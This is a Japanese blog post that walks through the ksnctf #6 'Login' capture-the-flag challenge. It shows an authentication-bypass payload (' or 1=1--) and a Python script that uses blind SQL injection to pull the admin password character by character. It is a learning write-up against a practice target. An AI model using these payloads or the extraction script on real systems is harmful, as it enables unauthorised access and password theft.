さえめろ の めも🐰

さえめろの備忘録です。twitter : @sae_mero_

ksnctf #6「Login」

問題

ksnctf - 6 Login



解答までの道

記載のURLに飛ぶと、ログインフォームのようなページがあります。
First, login as "admin". とのことなので、IDはadminでpassを探し出せば良さそう。

まずは適当にログインを試みるも、Login Failedと言われました。


ちょうど先々週(くらいだったと思う)の授業でSQL インジェクションをやったばかりのタイムリーさだったので、passに「'or 1=1--」を入力。

あっさり通った…!


と思いきや、

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

というメッセージとともにヒントとしてPHPのコードがずらり…。

どうやら認証を通っただけではダメで、ここからが戦いのようです。
そして使用するのがこれまたタイムリーなブラインドSQLインジェクションというもの。

ただデータベースの知識が怪しいせいで、結果総当たりで探索しました。地道。

FLAG_まではほぼ確定と言っていいので、6文字目から21文字目までを

' OR substr((SELECT pass FROM user WHERE id='admin'),xxx,1) = 'a'--

で探索します。

import requests
 
url = "http://ctfq.sweetduet.info:10080/~q6/"

flag = ""
chara = list(map(chr, range(48, 123)))
 
for n in range(6,22):
    for c in chara:
        p = "' OR substr((SELECT pass FROM user WHERE id='admin'),{0},1) = '{1}'--".format(n,c)
        req = {"id":"admin","pass":p}
        res = requests.post(url, data = req)
        
        if "Congratulations" in res.text:
            flag += c
            break

print("FLAG_{}".format(flag))

これで無事Flagが出ます。

出るには出るんですが、なんで21文字(flagの文字数)を手動設定してるの??っていうコードですね。
これは自動化してflag=1文字の場合から探索するより、大体のフラグの文字数を予測して何回か回した方が早いんじゃないか、というズボラなあてずっぽうによるもので、本当に全然スマートじゃないです。

しかも勘が一発で当たってしまったので、コードはそのままです。

なにはともあれflagゲット…


使ったものなど

SQLインジェクション
SQLインジェクション - Wikipedia